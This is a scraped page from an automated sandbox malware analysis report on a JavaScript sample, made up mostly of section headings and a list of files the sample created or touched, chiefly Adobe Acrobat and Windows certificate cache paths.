Windows Analysis Report 8708187442773418429.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\ed11aee2-a8e7-4f18-8126-31477be27be9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7812

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
8708187442773418429.js